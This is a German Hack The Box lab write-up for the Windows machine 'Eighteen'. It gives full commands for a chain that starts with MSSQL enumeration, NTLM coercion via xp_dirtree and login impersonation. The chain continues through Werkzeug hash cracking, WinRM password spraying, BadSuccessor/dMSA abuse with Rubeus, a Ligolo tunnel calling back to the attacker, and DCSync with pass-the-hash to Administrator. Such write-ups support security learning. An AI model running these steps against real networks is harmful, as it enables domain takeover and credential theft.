← Zurück zu Machines

HTB · published

Eighteen

Hack The Box Machine Writeup für Eighteen: MSSQL-Enumeration mit initialen Credentials, Flask/Werkzeug-Hash-Crack, WinRM-Foothold als adam.scott, BadSuccessor/dMSA auf Windows Server 2025 und DCSync zu Administrator.

HTBMachineWriteupWindowsActive DirectoryMSSQLBadSuccessordMSAKerberosDCSync

Metadaten

  • Name: Eighteen
  • IP Address: 10.129.213.133
  • Plattform: Windows
  • Kategorie: Active Directory / MSSQL / Kerberos
  • Schwierigkeit: Unbekannt
  • Ziel(e): User, Administrator/Domain
  • Kurzbeschreibung des Szenarios: Eighteen startet mit bekannten Zugangsdaten und führt über MSSQL-Enumeration, eine Flask-Anwendung, einen geknackten Werkzeug-Hash und WinRM zu einem Domänenbenutzer. Die finale Eskalation basiert auf BadSuccessor/dMSA in einer Windows Server 2025 Active-Directory-Umgebung.

Reconnaissance/ Enumeration

initscan:

nmap -p- --min-rate 10000 -T4 -v -n -oN 10.129.213.133-initial.nmap 10.129.213.133
PORT     STATE SERVICE
80/tcp   open  http
5985/tcp open  wsman

servicescan:

nmap -sV -sC -T4 -v -n -p 80,5985,1433 -oN 10.129.213.133-services.nmap 10.129.213.133
PORT     STATE SERVICE  VERSION
80/tcp   open  http     Microsoft IIS httpd 10.0
5985/tcp open  http     Microsoft HTTPAPI httpd 2.0
1433/tcp open  ms-sql-s Microsoft SQL Server 2022 16.00.1000.00

Die MSSQL-Informationen lieferten direkt wichtige AD-Hinweise:

Target_Name: EIGHTEEN
NetBIOS_Domain_Name: EIGHTEEN
NetBIOS_Computer_Name: DC01
DNS_Domain_Name: eighteen.htb
DNS_Computer_Name: DC01.eighteen.htb

Lokale Host-Auflösung:

echo "10.129.213.133   eighteen.htb" | sudo tee -a /etc/hosts

Auf Port 80 lief eine Financial-Planning-Webanwendung unter:

http://eighteen.htb/

Eine erste Web-Enumeration zeigte unter anderem:

admin      302
dashboard  302
features   200
logout     302
login      200
register   200

Nach einer Registrierung mit einem Testbenutzer konnte die Flask-Session dekodiert werden:

flask-unsign --decode --cookie '<cookie>'
{'full_name': 'bobo', 'user_id': 1007, 'username': 'bobo'}

Das Brute-Forcing des Flask-Secrets mit rockyou.txt brachte keinen Treffer und blieb ein Dead End.

Die bereitgestellten Credentials funktionierten gegen MSSQL:

nxc mssql eighteen.htb -u kevin -p 'iNa2we6haRj2gaw!' --local-auth
[+] DC01\kevin:iNa2we6haRj2gaw!

Die Rechte waren eingeschränkt, aber für Enumeration ausreichend:

SELECT * FROM fn_my_permissions(NULL, 'SERVER');
CONNECT SQL
VIEW ANY DATABASE

Mit xp_dirtree ließ sich außerdem eine NTLMv2-Authentifizierung des MSSQL-Serviceaccounts auslösen:

exec master..xp_dirtree '\\10.10.14.118\share'

Responder fing daraufhin einen NetNTLMv2-Hash für EIGHTEEN\mssqlsvc ab. Der Hash selbst war für den weiteren Weg nicht nötig.

MSSQL-RID-Bruteforce zeigte mehrere interessante Domänenobjekte:

Administrator
Guest
krbtgt
Domain Admins
HR
IT
Finance
jamie.dunn
jane.smith
alice.jones
adam.scott
bob.brown
carol.white
dave.green

Die Datenbank-Enumeration zeigte eine interessante Anwendungsdatenbank:

master
tempdb
model
msdb
financial_planner

Über SQL-Login-Impersonation konnte von kevin zu appdev gewechselt werden:

SELECT * FROM fn_my_permissions('appdev','LOGIN');
EXECUTE AS LOGIN='appdev';

Danach ließ sich die Tabelle financial_planner.dbo.users auslesen. Besonders relevant war der Admin-Hash:

username: admin
email: admin@eighteen.htb
is_admin: 1
password_hash: pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133

Der Werkzeug/PBKDF2-Hash konnte mit einem kleinen Python-Check gegen eine Wortliste geknackt werden:

from werkzeug.security import check_password_hash

target = "pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133"

with open("/usr/share/wordlists/rockyou.txt", errors="ignore") as wordlist:
    for password in wordlist:
        password = password.strip()
        if check_password_hash(target, password):
            print(password)
            break

Treffer:

iloveyou1

Exploitation (Foothold)

Der geknackte Admin-Web-Hash wurde gegen bekannte Domänenbenutzer gesprüht:

nxc winrm eighteen.htb -u users.txt -p 'iloveyou1' --no-bruteforce
[+] eighteen.htb\adam.scott:iloveyou1 (Pwn3d!)

Damit war ein WinRM-Foothold möglich:

evil-winrm -i eighteen.htb -u adam.scott -p 'iloveyou1'
whoami
eighteen\adam.scott

User Flag:

9dde3[REDACTED-USER-FLAG]a69c

Der Benutzer war Mitglied der Gruppe EIGHTEEN\IT:

EIGHTEEN\IT
BUILTIN\Remote Management Users

Die wichtigsten Privileges:

SeMachineAccountPrivilege        Enabled
SeChangeNotifyPrivilege          Enabled
SeIncreaseWorkingSetPrivilege    Enabled

Lateral Movement / User Escalation

Ein klassischer Machine-Account-Weg über Powermad scheiterte:

New-MachineAccount -MachineAccount WS1337 -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force)
The server cannot handle directory requests.

Die normale ACL-Enumeration war zunächst unspektakulär. Interessant wurde es erst über die gezielte Prüfung auf BadSuccessor:

BadSuccessor -Mode Check -Domain eighteen.htb
[+] Windows Server 2025 DCs found. BadSuccessor may be exploitable!
DC01.eighteen.htb Windows Server 2025 Datacenter

Die relevante Berechtigung lag auf der OU Staff:

OU=Staff,DC=eighteen,DC=htb
ActiveDirectoryRights: CreateChild
IdentityReference: EIGHTEEN\IT

Da adam.scott Mitglied von EIGHTEEN\IT war, konnte in dieser OU ein dMSA-Objekt erstellt und für BadSuccessor missbraucht werden.

Privilege Escalation (Root / Domain)

BadSuccessor-Exploit:

BadSuccessor -Mode Exploit `
  -Domain "eighteen.htb" `
  -Path "OU=Staff,DC=eighteen,DC=htb" `
  -Name "bad_DMSA" `
  -DelegatedAdmin "adam.scott" `
  -DelegateTarget "Administrator"
Successfully created and configured dMSA 'bad_DMSA'
Object adam.scott can now impersonate Administrator

Ein erster Rubeus-Versuch mit RC4 scheiterte, weil der KDC den EType nicht akzeptierte:

KDC_ERR_ETYPE_NOTSUPP

Mit AES256 funktionierte der TGT für adam.scott:

Invoke-Rubeus -Command "asktgt /user:adam.scott /aes256:02F93F7E9E128C32449E2F20475AFCDFB6CC2B4444AC8FD0B02406AF018F75E5 /domain:eighteen.htb /nowrap"

Danach wurde ein dMSA-Ticket für bad_DMSA$ angefordert:

.\Rubeus.exe asktgs `
  /targetuser:bad_DMSA$ `
  /service:krbtgt/eighteen.htb `
  /opsec /dmsa /nowrap /ptt `
  /ticket:<adam_scott_tgt> `
  /outfile:C:\temp\bad_dmsa.kirbi

Das Ticket wurde anschließend für Linux-Tools konvertiert:

python3 ticketConverter.py bad_dmsa.kirbi bad_dmsa.ccache
export KRB5CCNAME=$(pwd)/bad_dmsa.ccache

Da SMB nicht direkt erreichbar war, wurde ein Ligolo-Tunnel genutzt:

.\ligolo-agent.exe -connect 10.10.14.18:11601 -ignore-cert
ligolo-ng proxy -laddr 0.0.0.0:11601
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 240.0.0.0/24 dev ligolo

SMB war danach über die Ligolo-Magic-IP erreichbar:

nmap -p 445 240.0.0.1
445/tcp open  microsoft-ds

Ein Stolperstein war die Kerberos-Zeitabweichung:

KRB_AP_ERR_SKEW(Clock skew too great)

Nach Zeitsynchronisierung konnte DCSync über Impacket ausgeführt werden:

KRB5CCNAME=/path/to/bad_dmsa.ccache \
python3 secretsdump.py \
  -k -no-pass -just-dc-ntlm \
  -dc-ip 240.0.0.1 \
  -target-ip 240.0.0.1 \
  eighteen.htb/bad_DMSA\$@dc01.eighteen.htb

Relevante Auszüge:

Administrator:500:aad3...:0b133be956bfaddf9cea56701affddec:::
krbtgt:502:...:a7c7a912503b16d8402008c1aebdb649:::
mssqlsvc:1601:...:c44d16951b0810e8f3bbade300966ec4:::
adam.scott:1609:...:9964dae494a77414e34aff4f34412166:::
bad_DMSA$:12607:...:63f82bef58aacc45c6060ded2d39d770:::

Mit dem gedumpten Administrator-Hash war anschließend der Zugriff als Administrator möglich:

evil-winrm -i eighteen.htb -u Administrator -H 0b133be956bfaddf9cea56701affddec

Root Flag:

59891[REDACTED-ROOT-FLAG]9dcc

Post-Exploitation

  • User Flag: 9dde3[REDACTED-USER-FLAG]a69c
  • Root Flag: 59891[REDACTED-ROOT-FLAG]9dcc
  • Wichtige Accounts: kevin, appdev, adam.scott, bad_DMSA$, Administrator
  • Wichtige Gruppe: EIGHTEEN\IT
  • Wichtige OU: OU=Staff,DC=eighteen,DC=htb
  • Kritische Berechtigung: CreateChild für EIGHTEEN\IT
  • Entscheidender Angriffspfad: MSSQL-Datenbankzugriff → Werkzeug-Hash-Crack → WinRM → BadSuccessor/dMSA → Kerberos-Tickets → DCSync

Lessons Learned

  • Kerberos ist extrem empfindlich bei Zeitabweichungen; KRB_AP_ERR_SKEW sollte früh geprüft werden.
  • dMSA-/BadSuccessor-Tickets haben ein enges Zeitfenster und sollten frisch erzeugt werden.
  • Für DCSync reicht ein gutes Ticket allein nicht aus; SMB/LDAP-Erreichbarkeit muss ebenfalls stimmen.
  • Ligolo mit Magic-IP-Routing ist stark, aber kleine Routing- oder Target-IP-Fehler brechen Impacket-Flows schnell.
  • Impacket wählt Service Principal Names nicht immer so, wie man intuitiv erwartet; explizite Service-Tickets können nötig sein.
  • -just-dc-ntlm ist kein Abkürzungszauber, sondern braucht weiterhin einen sauberen Kerberos- und Netzwerkpfad.
  • Die vollständige Kette bestand aus TGT, dMSA/S4U, Service-Ticket, kirbi zu ccache, Tunnel und erst danach secretsdump.

Notizen

  • Der Flask-Secret-Bruteforce war ein Dead End, aber die Session-Struktur half beim Verständnis der Webapp.
  • Der NetNTLMv2-Hash von mssqlsvc war interessant, aber nicht der Hauptpfad.
  • VIEW ANY DATABASE plus Login-Impersonation war der entscheidende MSSQL-Schlüssel.
  • Der eigentliche Domain-Admin-Weg entstand nicht durch klassische Privileges, sondern durch OU-Rechte der Gruppe EIGHTEEN\IT.